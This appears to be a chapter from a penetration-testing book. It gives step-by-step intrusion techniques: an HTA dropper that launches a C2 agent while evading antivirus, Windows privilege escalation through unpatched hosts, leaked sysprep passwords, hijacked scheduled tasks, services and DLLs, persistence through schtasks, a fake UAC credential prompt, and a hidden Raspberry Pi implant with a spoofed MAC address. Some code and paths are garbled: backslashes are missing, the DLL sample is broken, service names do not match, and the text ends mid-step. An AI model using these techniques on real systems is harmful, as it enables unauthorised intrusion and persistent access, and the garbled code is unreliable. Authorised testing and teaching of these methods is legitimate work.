A few years ago I was called upon to perform an internal APT-modeling scenario for a police service in the UK. It was an interesting assignment for a number of reasons, not all of them purely technical. At a police HQ they don't, generally speaking, want you wandering around by yourself, so every morning my colleague and myself would dutifully arrive at the front desk to meet our point of contact whose job was also to escort us around the building as necessary. On day three we asked for the gentleman again only to be taken aside by a couple of police officers who wanted to know what our business was with him. I explained we were security consultants, here to fight the good fight against the ever-present forces of darkness (we pen testers are a colorful bunch) only to be told that our point of contact was actually a fugitive from justice and had been arrested the previous evening. I never did find out exactly what that was all about, but it takes a certain amount of chutzpah to apply for a job with the police knowing you're a wanted man.
I mention this anecdote not only because of its obvious comical nature but because there is a practical lesson to learn—regardless of a lack of escort, we still had a job to do and given that this was a busy place with uniformed officers and civilians walking in and out of the building all the time without any real access control (beyond what was essentially voluntary), we decided to just go ahead and complete our work. I guess they thought no one would have the nerve to walk around a police HQ without permission, which given the sheer amount of confidential data we were able to obtain during this test with just a little bit of nerve was a bad call on their part. The scope was as open as it could be (i.e., get what you can in the time available), but when we'd completed our work we had complete access to:
This is not a technique that is exactly going to change your life, but one particularly useful way to deploy payloads via VBScript is to use an HTML application. This is essentially just HTML carrying a client-side script renamed to have an .hta
extension. Why not just use an HTML file to do the same thing? Two reasons. First of all, VBScript will only execute in Internet Explorer, which is currently only the fourth most popular browser and in serious decline. Secondly, even if an HTML payload is opened in IE, the user will receive a warning that it contains active content that will likely be blocked by administrative policy (see Figure 6.1).
The following code is adequate for gaining basic command execution through simple user interaction:
<head>
<title>HTA Test</title>
<HTA:APPLICATION
APPLICATIONNAME="HTA Test"
SCROLL="yes"
SINGLEINSTANCE="yes"
WINDOWSTATE="maximize"
>
</head>
<script language="VBScript">
Sub TestSub
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec("c2agent")
getCommandOutput = objCmdExec.StdOut.ReadAll
End Sub
</script>
<body>
<input type="button" value="Run Script" name="run_button" onClick="TestSub"><p>
</body>
This code renders as shown in Figure 6.2, without warnings or errors when saved as an.hta
document and executed.
If the user clicks the button we get command execution. Not very appealing, is it? Luckily, the basis for an HTML application is LaTex rendering! No, only joking, it's actually HTML so it's possible to make the application look, feel, and behave exactly as you want it to. Before that, you want to change the default icon to something more appealing. First, add the following line to the HTA:APPLICATION
tag:
icon="#"
Then with a custom icon, execute the following from the Windows command line:
copy icon.ico /b /y +test.hta teswithicon.hta
You'll get something similar to Figure 6.3.
Using non-compiled scripting languages can be a useful way to avoid more advanced malware detection platforms. For example, FireEye's products and Palo Alto's endpoint protection are relatively effective against a range of attacks that leave AV in the dust. However, their tendency is toward reaching a good/bad verdict on compiled executable code and subsequently blocking it through behavioral analysis as well as real-time “known bad” detection. However, this can be sidestepped altogether by using “known good” (i.e., PowerShell and the Windows Scripting Host) to execute our payloads. When the script is obfuscated or, in this case, not obfuscated at all, it stands up remarkably well against such technology. This is simply because the executables behind the scripting tools are known not to be malicious and the scripts themselves are seen merely as parameters. Conventional antivirus is surprisingly ignorant of these alternative (but trivial) means of getting command execution, as shown in Figure 6.4.
We could also build on previous examples and use VBScript merely as a means to deliver and execute a PowerShell payload.
This is a simple but powerful attack. It aims to exploit the user's ignorance of file extensions. It looks like a web page, yet can give you command execution without displaying warnings to the target and without triggering the antivirus software.
When command execution has been obtained on a target workstation, the first goal, generally speaking, is to escalate one's privileges to obtain the highest permissions possible locally. This allows you to obtain password hashes, modify the host's configuration, use raw sockets, and generally make network colonization smoother. You might get lucky and land on a workstation where the users already have elevated privileges due to their role or simply through poor security policies, but I'll assume you're stuck in userland and need administrative permissions. Broadly speaking, privilege escalations do one of two things: they exploit vulnerable software or exploit vulnerable configurations. This section is by no means complete or intended to be. The following can be divided into various loose categories, but here I will divide the attention as follows:
SYSTEM
, for example, and we replace the DLL with our own, we can achieve code execution with SYSTEM
privileges.AlwaysInstallElevated
setting lives in the Registry. If enabled, it allows users to install .msi
installation binaries as SYSTEM
even when their accounts do not have SYSTEM
rights. I hope the dangers here are obvious.Before continuing, it's worth pointing out that the more information you can grab the easier your task will be. As with all the topics covered in this book, there is more to privilege escalation than simply following a list. That said, grasping the following techniques is essential to a good understanding of the subject. Another quick point that's worth making is that one variable can't be patched or fully secured—people. Low-tech attacks can be effective against low-tech users (and indeed those who should know better). This can be as simple as writing a straightforward app that mimics the Windows UAC password request box and seeing what they type, as shown in Figure 6.5.
The first thing I generally do when attempting to escalate privileges on a Windows system is look at which patches are installed. If a host is poorly patched, you can get a win pretty quickly without having to trawl the system looking for poor configurations. The following command line will list all installed patches:
C:userswallsopp> wmic qfe get Caption,Description,HotFixID,InstalledOn
Caption Description HotFixID InstalledOn
http://support.microsoft.com/?kbid=3024995 Update KB3024995 2/1/2016
http://go.microsoft.com/fwlink/?LinkId=133041 Update KB2849697 12/23/2014
http://go.microsoft.com/fwlink/?LinkId=133041 Update KB2849696 12/23/2014
http://go.microsoft.com/fwlink/?LinkId=133041 Update KB2841134 12/23/2014
http://support.microsoft.com/ Update KB2670838 12/23/2014
http://support.microsoft.com/?kbid=2305420 Security Update KB2305420 12/24/2014
http://support.microsoft.com/?kbid=2393802 Security Update KB2393802 12/24/2014
http://support.microsoft.com/?kbid=2416754 Hotfix KB2416754 12/24/2014
http://support.microsoft.com/?kbid=2479943 Security Update KB2479943 12/24/2014
http://support.microsoft.com/?kbid=2491683 Security Update KB2491683 12/24/2014
http://support.microsoft.com/?kbid=2506014 Update KB2506014 12/24/2014
http://support.microsoft.com/?kbid=2506212 Security Update KB2506212 12/24/2014
http://support.microsoft.com/?kbid=2509553 Security Update KB2509553 12/24/2014
http://support.microsoft.com/?kbid=2511455 Security Update KB2511455 12/24/2014
http://support.microsoft.com/?kbid=2532531 Security Update KB2532531 12/24/2014
http://support.microsoft.com/?kbid=2534111 Hotfix KB2534111 12/24/2014
http://support.microsoft.com/?kbid=2536275 Security Update KB2536275 12/24/2014
http://support.microsoft.com/?kbid=2536276 Security Update KB2536276 12/24/2014
http://support.microsoft.com/?kbid=2544893 Security Update KB2544893 12/24/2014
http://support.microsoft.com/?kbid=2552343 Update KB2552343 12/24/2014
http://support.microsoft.com/?kbid=2560656 Security Update KB2560656 12/24/2014
http://support.microsoft.com/?kbid=2564958 Security Update KB2564958 12/24/2014
http://support.microsoft.com/?kbid=2570947 Security Update KB2570947 12/24/2014
http://support.microsoft.com/?kbid=2579686 Security Update KB2579686 12/24/2014
http://support.microsoft.com/?kbid=2584146 Security Update KB2584146 12/24/2014
http://support.microsoft.com/?kbid=2585542 Security Update KB2585542 12/24/2014
http://support.microsoft.com/?kbid=2604115 Security Update KB2604115 12/24/2014
http://support.microsoft.com/?kbid=2619339 Security Update KB2619339 12/24/2014
http://support.microsoft.com/?kbid=2620704 Security Update KB2620704 12/24/2014
http://support.microsoft.com/?kbid=2621440 Security Update KB2621440 12/24/2014
http://support.microsoft.com/?kbid=2631813 Security Update KB2631813 12/24/2014
http://support.microsoft.com/?kbid=2653956 Security Update KB2653956 12/24/2014
http://support.microsoft.com/?kbid=2654428 Security Update KB2654428 12/24/2014
http://support.microsoft.com/?kbid=2655992 Security Update KB2655992 12/24/2014
http://support.microsoft.com/?kbid=2656356 Security Update KB2656356 12/24/2014
http://support.microsoft.com/?kbid=2667402 Security Update KB2667402 12/24/2014
http://support.microsoft.com/?kbid=2676562 Security Update KB2676562 12/24/2014
http://support.microsoft.com/?kbid=2685939 Security Update KB2685939 12/24/2014
<trimmed for brevity>
The important takeaway from the output is the knowledge base ID (or HotFixId
, as it's called here). Someone will discover a vulnerability in the Windows platform. Then Microsoft will release a fix and give it a unique identifier (the KB number). The systems get updated in accordance to whatever patch policy the end organization has. If a patch for a specific exploit is not present, the platform is vulnerable to that particular attack. For instance, if the host is vulnerable to MS11-011—Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege—note the KB number on the MS web page (in this case KB2393802) and see if the appropriate patch is installed:
C:Userswallsopp>wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2393802"
http://support.microsoft.com/?kbid=2393802 Security Update KB2393802 12/24
/2014
C:Userswallsopp>
That's bad news that the patch is there but this is a very old exploit so it would be strange if it weren't. In any case, searching through patch output one KB at a time is tedious, time consuming, and unnecessary. It's better to maintain a list of KB numbers and their associated vulnerabilities, thereby allowing a quick scripting effort to determine which patches are missing. The best thing about this is that the heavy lifting has been done for you. Microsoft maintains a freely available and up-to-date database that contains all of this information and there are several freely available tools that exploit it. I will outline one such tool here, creatively called Windows Exploit Suggester. Install it from the repository and update it:
$ git clone https://github.com/GDSSecurity/Windows-Exploit-Suggester.git
$ ./windows-exploit-suggester.py --update
This updates the local KB database, which if you're curious, looks like Figure 6.6.
Windows Exploit Suggester will use this data to determine if the compromised system is missing any patches. Before it can do that, we need to dump some data from the compromised system. A simple command will suffice with the output piped to a file:
C:Userswallsopp>systeminfo > comp_host1.txt
This command is intended to be used by system administrators to quickly build a picture of a host for troubleshooting, but it's pretty useful data for an attacker as well. It contains, among other things, detailed information about the OS, including all installed patches as well as network and hardware information. Give this data to Windows Exploit Suggester as follows:
root@wil:~/Windows-Exploit-Suggester# ./windows-exploit-suggester.py --database 2016-06-07-mssb.xls --systeminfo comp_host1.txt
[*] initiating winsploit version 3.1…
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (ascii)
[*] querying database file for potential vulnerabilities
[*] comparing the 245 hotfix(es) against the 332 potential bulletins(s) with a database of 122 known exploits
[*] there are now 90 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 7 SP1 64-bit'
[*]
[E] MS15-134: Security Update for Windows Media Center to Address Remote Code Execution (3108669) - Important
[E] MS15-132: Security Update for Microsoft Windows to Address Remote Code Execution (3116162) - Important
[M] MS15-100: Vulnerability in Windows Media Center Could Allow Remote Code Execution (3087918) - Important
[E] MS14-026: Vulnerability in .NET Framework Could Allow Elevation of Privilege (2958732) - Important
[*] done
Interesting—four vulnerabilities with working exploit code are available. The E
denotes an exploit found within the Offensive Security exploit database, while the M
means that this attack is integrated into the Metasploit framework.
Mass rollouts tend to leave configuration files behind. The files themselves will vary depending on the solution the organization is using, but the idea is the same—the configurations will contain data needed for the installation process such as product keys and administrative passwords.
The following is an example from a sysprep.inf
file, which contains cleartext credentials:
[GuiUnattended]
OEMSkipRegional=1
OemSkipWelcome=1
AdminPassword=P4ssw0rd
TimeZone=20
This is an example of an unattended.xml
file. This time the password is Base64 encoded, which can be trivially decoded. The username is still in plaintext:
<AutoLogon>
<Password>
<Value>R0NsaWtlc3RoZWNvY2s=</Value>
<PlainText>false</PlainText>
</Password>
<Enabled>true</Enabled>
<Username>Administrator</Username>
</AutoLogon>
This is by no means exhaustive, but on compromising a new system, it's worth doing a search for sysprep.inf
, unattended.xml
, and sysprep.xml
. These can be potentially very quick wins.
The task scheduler in Windows is more or less equivalent to Cron in UNIX-like operating systems—a task (usually execution of a program) can be configured to run at a specific time or a set interval. If the program called by the task scheduler is run with elevated privileges and can be overwritten by the user account you currently have, then you can simply replace that program with your binary and achieve code execution the next time that task is scheduled to run (at which point you should copy the original program back to its original location).
You can get a list of scheduled tasks with the following command:
schtasks /query /fo LIST /v
This gives a lot of output about what tasks are running, whether they are recurring, where the task can be found and its parameters, as well as, crucially, what permissions they are run with. For example, the following task runs as SYSTEM
. If we can overwrite the relevant binary with our own code, we can achieve command execution with SYSTEM
privileges:
HostName: WALLSOPP
TaskName: HEARTB
Next Run Time: 10-6-2016 10:52:49
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: N/A
Last Result: 1
Author: DanTek Systems Corp.
Task To Run: C:Program FilesDanTek Systems CorpHeartBeatHEARTB.exe -schedule
Start In: C:Program FilesDanTek Systems CorpHeartBeat
Comment: Process Health Monitoring HEARTB
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Enabled
Stop Task If Runs X Hours and X Mins: 02:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: One Time Only, Hourly
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: 1 Hour(s), 0 Minute(s)
Repeat: Until: Time: None
Repeat: Until: Duration: 24 Hour(s), 0 Minute(s)
Repeat: Stop If Still Running: Disabled
This task seems to be some kind of health-monitoring process and is executed every hour. It's run at SYSTEM
so if you can overwrite HEARTB.exe
on disk, you're good to go:
C:Program FilesDanTek Systems CorpHeartBeatHEARTB.exe -schedule
HEARTB.exe NT AUTHORITYSYSTEM:(I)(F)
BUILTINAdministrators:(I)(F)
BUILTINUsers:(I)(F)
That's what we like to see! Full access to BUILTINUsers
! This snafu is quite common on third-party software.
As previously mentioned, the Task Scheduler is also a handy way of achieving persistence or monitoring the health of your C2 agent. The following commands should prove useful in this regard:
To schedule a task that runs every time the system starts:
schtasks /create /tn <TaskName> /tr <TaskRun> /sc onstart
To schedule a task that runs when users log on:
schtasks /create /tn <TaskName> /tr <TaskRun> /sc onlogon
To schedule a task that runs when the system is idle:
schtasks /create /tn <TaskName> /tr <TaskRun> /sc onidle /i {1 - 999}
To schedule a task that runs once:
schtasks /create /tn <TaskName> /tr <TaskRun> /sc once /st <HH:MM>
To schedule a task that runs with system permissions:
schtasks /create /tn <TaskName> /tr <TaskRun> /sc onlogon /ru System
To schedule a task that runs on a remote computer:
schtasks /create /tn <TaskName> /tr <TaskRun> /sc onlogon /s <PC_Name>
Windows services are intended to be run with elevated permissions. If a Windows service has parameters that a user can alter, the path to the service executable can be altered to point to custom code and used to achieve command execution with the privileges of the service—usually SYSTEM
. The first step is to list the services running on the host:
Output snipped for brevity
C:Userswallsopp>net start
These Windows services are started:
Adobe Acrobat Update Service
Microsoft Antimalware Service
Microsoft Network Inspection
Multimedia Class Scheduler
Net Driver HPZ12
Netlogon
Network Connections
Network List Service
Network Location Awareness
Network Store Interface Service
Office Software Protection Platform
Offline Files
ParagonMounter
Plug and Play
Pml Driver HPZ12
Power
Print Spooler
Shell Hardware Detection
Smart Card
SMS Agent Host
SolarWinds Network Topology Job Scheduler
SSDP Discovery
VulnService
The command completed successfully.
To get the parameters for an individual server:
C:Userswallsopp>sc qc VulnService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: Power
TYPE : 20 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : D:vulnvulnerable.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : VulnService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Services can be queried individually or in a batch to determine their access control rules (you will need the Microsoft Sysinternals suite, which is a free download on the Microsoft website):
C:Userswallsopp>accesschk.exe -ucqv VulnService
VulnService
Medium Mandatory Level (Default) [No-Write-Up]
RW NT AUTHORITYSYSTEM
SERVICE_ALL_ACCESS
RW BUILTINAdministrators
SERVICE_ALL_ACCESS
RW NT AUTHORITYAuthenticated Users
R NT AUTHORITYINTERACTIVE
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
R NT AUTHORITYSERVICE
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
Spot the security mistake? It's here:
RW NT AUTHORITYAuthenticated Users
Any logged-in user can modify parameters for the VulnService
service. To achieve this:
C:Userswallsopp>sc config VulnPath binpath= "C: empc2agent.exe"
C:Userswallsopp>sc config VulnPath obj= ".LocalSystem" password= ""
This example is somewhat contrived, but service permission should always be checked as part of the privilege escalation process, as this can be a quick win.
DLLs are libraries of functions that can be imported into an application. They can be proprietary to a single application or utilized as an Application Programming Interface (API) to provide a way for other applications to share the functionality they provide. The most common example of the latter is an OS level API library such as kernel32.dll
, which was encountered in Chapter 2.
When an executable is launched, it is given its own protected process space, which is to say that memory addressing is relative to that process and other programs can't accidentally write over its allocated part of memory. A DLL, on the other hand, is loaded into the process space of the program calling it and, for all intents and purposes, becomes part of that program. There are pros and cons to this from a software development perspective, but what is interesting to an attacker is that the DLL has no execution permissions of its own. It inherits permissions from the executable that imports it. To put it simply, if an application runs with elevated privileges and you can overwrite a DLL that it imports with one you created, then it is possible to get code execution with those same privileges.
In terms of reconnaissance, you need to know three things:
Another way to hijack DLLs is to exploit the Windows search path order and force an executable to load a different instance of the library somewhere else on the drive. However, protecting against this is now trivial and can be as simple as modifying an entry in the Registry. Code signing will defeat both approaches.
To find all processes currently running as SYSTEM
, use the following command:
c:> tasklist.exe /FI "username eq system" /v
This will give output similar to the following:
<trimmed for brevity>
dsAccessService.exe 1624 Services 0 17.732 K Unknown NT AUTHORITYSYSTEM 0:00:01 N/A
svchost.exe 1788 Services 0 15.420 K Unknown NT AUTHORITYSYSTEM 0:00:01 N/A
spoolsv.exe 1972 Services 0 14.428 K Unknown NT AUTHORITYSYSTEM 0:00:00 N/A
TdmService.exe 1644 Services 0 15.824 K Unknown NT AUTHORITYSYSTEM 0:00:00 N/A
WmiPrvSE.exe 2236 Services 0 19.628 K Unknown NT AUTHORITYSYSTEM 0:00:04 N/A
WvPCR.exe 2284 Services 0 9.292 K Unknown NT AUTHORITYSYSTEM 0:00:00 N/A
armsvc.exe 2468 Services 0 5.336 K Unknown NT AUTHORITYSYSTEM 0:00:00 N/A
cyserver.exe 2700 Services 0 4.124 K Unknown NT AUTHORITYSYSTEM 0:00:00 N/A
CyveraService.exe 2768 Services 0 73.760 K Unknown NT AUTHORITYSYSTEM 0:00:13 N/A
EmbassyServer.exe 2808 Services 0 9.328 K Unknown NT AUTHORITYSYSTEM 0:00:00 N/A
pabeSvc64.exe 3088 Services 0 16.220 K Unknown NT AUTHORITYSYSTEM 0:00:00 N/A
RunSrv.exe 3200 Services 0 4.512 K Unknown NT AUTHORITYSYSTEM 0:00:00 N/A
SWNTMJobSchedulerSvc.exe 3284 Services 0 124.184 K Unknown NT AUTHORITYSYSTEM 0:00:01 N/A
tda.exe 3860 Services 0 4.756 K Unknown NT AUTHORITYSYSTEM 0:00:00 N/A
McAfee.TrueKey.Service.ex 3940 Services 0 54.264 K Unknown NT AUTHORITYSYSTEM 0:00:01 N/A
tdawork.exe 4012 Services 0 3.216 K Unknown NT AUTHORITYSYSTEM 0:00:00 N/A
valWBFPolicyService.exe 4020 Services 0 4.676 K Unknown NT AUTHORITYSYSTEM 0:00:00 N/A
tdawork.exe 4028 Services 0 3.208 K Unknown NT AUTHORITYSYSTEM 0:00:00 N/A
tdawork.exe 4036 Services 0 3.212 K Unknown NT AUTHORITYSYSTEM 0:00:00 N/A
This is a fairly standard combination of MS Windows and third-party applications. By way of example, the RunSrv
service is running as NT AUTHORITYSYSTEM
. The next step is to figure out which DLLs this executable is importing. There's a nice tool called Dependency Walker that will do this. It shows multiple levels of dependency (i.e., what dependencies do the DLLs themselves have).
Loading RunSrv.exe
into Dependency Walker results in Figure 6.7.
RunSrv.exe
is importing a DLL called MMFS2.DLL
, which we can overwrite:
D:Program Files (x86)Jericho Application Server Framework>icacls mmfs2.dll
mmfs2.dll BUILTINAdministrators:(I)(F)
NT AUTHORITYSYSTEM:(I)(F)
NT AUTHORITYAuthenticated Users:(I)(M)
BUILTINUsers:(I)(F)
The next step is to craft a DLL that will automatically execute code as soon as it is imported into the RunSrv.exe
process. Obviously, this is language specific, but the example shown is for Visual C++. Create a new DLL project and paste in the following code:
#include <windows.h>
#include <stdio.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
printf("This string will be written to the console when this DLL is imported
");
break;
}
This is a very simple DLLMain
function that will be executed as soon as the DLL has been imported. The code will be executed as SYSTEM
. This means that if you call a Shell()
command to execute external executables, then they too will inherit SYSTEM
level privileges.
The Windows Registry can be a rich source of information; it is after all where most modern Windows software programs store their configuration parameters. When passwords are stored by applications, they are often stored hashed or encoded in the Registry, thus rendering them vulnerable to crypt and compare attacks (particularly if they're unsalted). The VNC remote control software and its variants still store passwords as easily recovered strings in the Registry. There's not a pen-tester alive who won't have at least one story about how s/he was able to compromise an entire network after getting access to a single workstation because the VNC password was shared throughout the infrastructure. VNC is convenient but a security nightmare.
There is a setting in the Windows Registry called AlwaysInstallElevated
that allows .msi
installers to always install as SYSTEM
regardless of the privileges of the user installing the package. I can sort of see why this might make the sysadmin's life a little easier on the one hand, but this is a massive security flaw that essentially allows anyone to execute any code they want with SYSTEM
access. That's great if you're looking to escalate your rights. The Registry entries are found here:
HKEY_CURRENT_USERSoftwarePoliciesMicrosoftWindowsInstaller
HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsInstaller
The AlwaysInstallElevated
value is not set to 1
under both of the preceding Registry keys.
Even Microsoft, despite including this functionality in their operating systems, warns about actually using it.
If you are able to gain short-term access to the target's physical location, it is worth considering the use of a hardware backdoor or “creeper box.” This is not a Minecraft reference but a term coined in the 2004 book, How to Own a Continent by Jake Rolston. This is an entertaining collection of security fiction and I've been using the term ever since (although it's entirely possible that I'm the only one). Feel free to use whatever term you like.
Traditionally, the creeper box would have been an ultra-small form factor PC discreetly connected to the target network. With the recent boom in consumer hobbyist electronics, we have better (and cheaper) options. There are two scenarios I will discuss:
To achieve this creeper box solution, it's first important to consider the hardware requirements:
In this section I discuss the Raspberry Pi 3B device and its configuration and application in penetration testing activities. The device fulfills all these requirements out of the box, save for PoE and 3G/4G capabilities, which can be added. This allows the creeper solution to be built for under $100.
The RPi is a credit card sized computer. Its specifications out of the box are impressive:
The 1GB of RAM is shared between the CPU and the GPU, and the Ethernet and the USB sit on the same bus but for that money you can't complain. Note the absence of keyboard, mouse, and monitor. See Figure 6.8.
The 40-pin General Purpose Input Output (GPIO) rig allows you to add custom hardware to the board. There are plenty of options to purchase off the shelf, including small touchscreen monitors, robotics interfaces, and PoE modules. The latter fits our needs perfectly. See Figure 6.9.
You are spoiled for choice in terms of operating systems that run on the Pi. There are a number of Linux and UNIX-like custom builds available, from the familiar (Ubuntu) to the masochistic (RISC OS). In this chapter, I stick with the Pi's official version of Debian called Raspbian. It's more than adequate for what is needed here and will be very familiar to anyone who's used Debian. One issue, however (and this goes for all OSs available for the Pi), is that there are no installers, only disk images, that are written to the microSD. Although this is perfectly fine for most uses, it means that certain things (like full disk encryption) have to be configured post-install, which can be a little more complex than it could be. However, full instructions are included in the following section. Raspbian also inherits Debian's liberal hardware compatibility, so you don't have to worry about missing drivers when configuring the 3G out-of-band communications.
Installing Debian inside an encrypted Logical Volume Manager (LVM) is something normally undertaken during the installation process and a matter of selecting an option from a menu. However, with Raspbian on the Pi there is no installation per se. The process is therefore a little more involved but certainly not impossible. For these steps, you will need:
In Debian, burn the latest Raspbian distro to one of the microSD cards as follows. I refer to this card as bootsd
:
$ sudo umount /dev/sdb1
$ sudo dd bs=4M if=/home/wil/raspbian.img of=/dev/sdb
The next steps are as follows:
bootsd
.From the Pi command line, this is achieved as follows:
$ sudo passwd
$ sudo apt-get update
$ sudo apt-get dist-upgrade
$ sudo apt-get install cryptsetup
$ sudo apt-get install lvm2
$ sudo apt-get install dcfldd
$ sudo apt-get install openssh-server
$ sudo update-rc.d -f ssh remove
$ sudo update-rc.d -f ssh defaults
$ sudo echo bootsd > /etc/hostname
$ sudo /etc/init.d/hostname.sh start
$ sudo reboot
$ sudo rpi-update
Again from Debian, burn the latest Raspbian distro on to the second microSD card as follows. I refer to this card as systemsd
:
$ sudo umount /dev/sdb1
$ sudo dd bs=4M if=/home/wil/raspbian.img of=/dev/sdb
Once again the next steps are as follows:
systemsd
.From the Pi command line, this is achieved as follows:
$ sudo passwd
$ sudo apt-get update
$ sudo apt-get dist-upgrade
$ sudo apt-get install cryptsetup
$ sudo apt-get install lvm2
$ sudo apt-get install dcfldd
$ sudo apt-get install openssh-server
$ sudo update-rc.d -f ssh remove
$ sudo update-rc.d -f ssh defaults
$ sudo echo systemsd > /etc/hostname
$ sudo /etc/init.d/hostname.sh start
$ sudo reboot
Next, create an initramfs
and add it to the config. Then shut down:
$ sudo mkinitramfs -o /boot/initramfs.gz
$ sudo nano /boot/config.txt
…
initramfs initramfs.gz followkernel
$ sudo shutdown -hP now
Boot the bootsd
SD card with the systemsd
card in the USB adapter, log in as Pi, and back up via rsync
to the Debian box via the LAN:
$ sudo mount /dev/sda2 /mnt/usb
$ sudo rsync -aAXv
--exclude={"/dev/*","/proc/*","/sys/*","/tmp/*","/run/*","/mnt/*","/media/*","/lost+found"}
/mnt/usb/ [email protected]:/home/wil/backup/root/
$ sudo umount /mnt/usb
Next, a little directory management on the Debian host:
$ mv /home/user/backup/root/home /home/user/backup/home
$ mkdir /home/user/backup/root/home
Now back on the Pi, it's time to wipe the initial root partition and encrypt and configure LVM:
$ sudo dcfldd if=/dev/urandom of=/dev/sda2
$ sudo cryptsetup luksFormat --verify-passphrase /dev/sda2
$ sudo cryptsetup luksOpen /dev/sda2 crypt
$ sudo service lvm2 start
$ sudo pvcreate /dev/mapper/crypt
$ sudo vgcreate cvg /dev/mapper/crypt
$ sudo lvcreate -L 500M cvg -n swap
$ sudo lvcreate -L 4G cvg -n root
$ sudo lvcreate -l +100%FREE cvg -n home
Enter your chosen passphrase when prompted; then you restore the backup on to the Pi:
$ sudo rsync -aAXv [email protected]:/home/user/backup/home/ /mnt/home/
$ sudo rsync -aAXv [email protected]:/home/user/backup/root/ /mnt/root/
$ sudo chown -R root:root /mnt/root
Use nano
(or whatever you prefer) to edit the files as shown:
$ sudo nano /mnt/boot/cmdline.txt
change root=/dev/mmcblk0p2 to root=/dev/mapper/cvg-root
add cryptdevice=/dev/mmcblk0p2:crypt
$ sudo nano /mnt/root/etc/fstab
change /dev/mmcblk0p2 to /dev/mapper/crypt
$ sudo nano /mnt/root/etc/crypttab
crypt /dev/mmcblk0p2 none luks
Now unmount everything and shut down:
$ sudo umount /mnt/boot
$ sudo umount /mnt/root
$ sudo umount /mnt/home
$ sudo service lvm2 stop
$ sudo shutdown -hP now
Now boot with the systemsd
SD card. The first boot will fail and drop into initramfs
. The logical volumes need to be activated manually, as they weren't mounted as fstab
. Configure them as follows:
(initramfs) cryptsetup luksOpen /dev/mmcblk0p2 crypt
(initramfs) lvm
lvm> lvscan
inactive '/dev/cvg/swap' [500.00 MiB] inherit
inactive '/dev/cvg/root' [4.00 GiB] inherit
inactive '/dev/cvg/home' [2.85 GiB] inherit
lvm> lvs
LV VG Attr LSize Pool Origin Data% Move Log Copy% Convert
home cvg -wi----- 2.85g
root cvg -wi----- 4.00g
swap cvg -wi----- 500.00m
lvm> vgchange -a y
3 logical volume(s) in volume group "cvg" now active
lvm> lvscan
ACTIVE '/dev/cvg/swap' [500.00 MiB] inherit
ACTIVE '/dev/cvg/root' [4.00 GiB] inherit
ACTIVE '/dev/cvg/home' [2.85 GiB] inherit
lvm> lvs
LV VG Attr LSize Pool Origin Data% Move Log Copy% Convert
home cvg -wi-a--- 2.85g
root cvg -wi-a--- 4.00g
swap cvg -wi-a--- 500.00m
lvm> quit
Exiting.
(initramfs) exit
When the Pi has finished rebooting, log in as root, modify fstab
as follows, and then rewrite initramfs
:
# nano /etc/fstab
proc /proc proc defaults 0 0
/dev/mmcblk0p1 /boot vfat defaults 0 0
/dev/mapper/cvg-root / ext4 defaults,noatime 0 1
/dev/mapper/cvg-home /home ext4 defaults 0 2
/dev/mapper/cvg-swap none swap sw 0 0
# mkinitramfs -o /boot/initramfs.gz
One more reboot and you need to confirm that all logical volumes and file systems have been mounted:
# lvm
lvm> lvs
LV VG Attr LSize Pool Origin Data% Move Log Copy% Convert
home cvg -wi-ao-- 2.85g
root cvg -wi-ao-- 4.00g
swap cvg -wi-ao-- 500.00m
lvm> quit
# df -ah
Filesystem Size Used Avail Use% Mounted on
rootfs 3.9G 2.5G 1.2G 68% /
sysfs 0 0 0 - /sys
proc 0 0 0 - /proc
udev 10M 0 10M 0% /dev
devpts 0 0 0 - /dev/pts
tmpfs 93M 244K 93M 1% /run
/dev/mapper/cvg-root 3.9G 2.5G 1.2G 68% /
tmpfs 5.0M 0 5.0M 0% /run/lock
tmpfs 186M 0 186M 0% /run/shm
/dev/mmcblk0p1 56M 20M 37M 36% /boot
/dev/mapper/cvg-home 2.8G 6.1M 2.6G 1% /home
# exit
Log in as Pi and make sure sudo
still works; there is a glitch in the setuid
process that can sometimes kill it. If it doesn't work, just remove and reinstall it.
# apt-get remove sudo
# apt-get install sudo
# reboot
You are now the proud owner of a Raspbian install with a fully encrypted file system.
It's worth pointing out that when connecting a foreign device into the target's network, it is eventually going to be found—how soon depends on constants like the target environment and size, but also controllable factors such as placement stealth. Even if the device is physically well concealed or hidden in plain sight masquerading as something else (for instance, placed in a case with tamper warning stickers), it is going to need (in most cases) an IP address on the network and may therefore be discovered in routine vulnerability scanning or asset discovery.
An easy way to buy yourself more time is to change the MAC address of the Pi to something that is associated with different hardware such as a router or switch—something that people are not going to start poking at without caution. To achieve this, find the config.txt
file in the route of microSD card (not the root of the Raspbian OS). It will look something like this:
# Set sdtv mode to PAL (as used in Europe)
sdtv_mode=2
# Force the monitor to HDMI mode so that sound will be sent over HDMI cable
hdmi_drive=2
# Set monitor mode to DMT
hdmi_group=2
# Set monitor resolution to 1024x768 XGA 60 Hz (HDMI_DMT_XGA_60)
hdmi_mode=16
# Make display smaller to stop text spilling off the screen
overscan_left=20
overscan_right=12
overscan_top=10
overscan_bottom=10
Add the following line to set the MAC address of your choice. In this case, the first three octets signify that the device was manufactured by Cisco Systems Inc.:
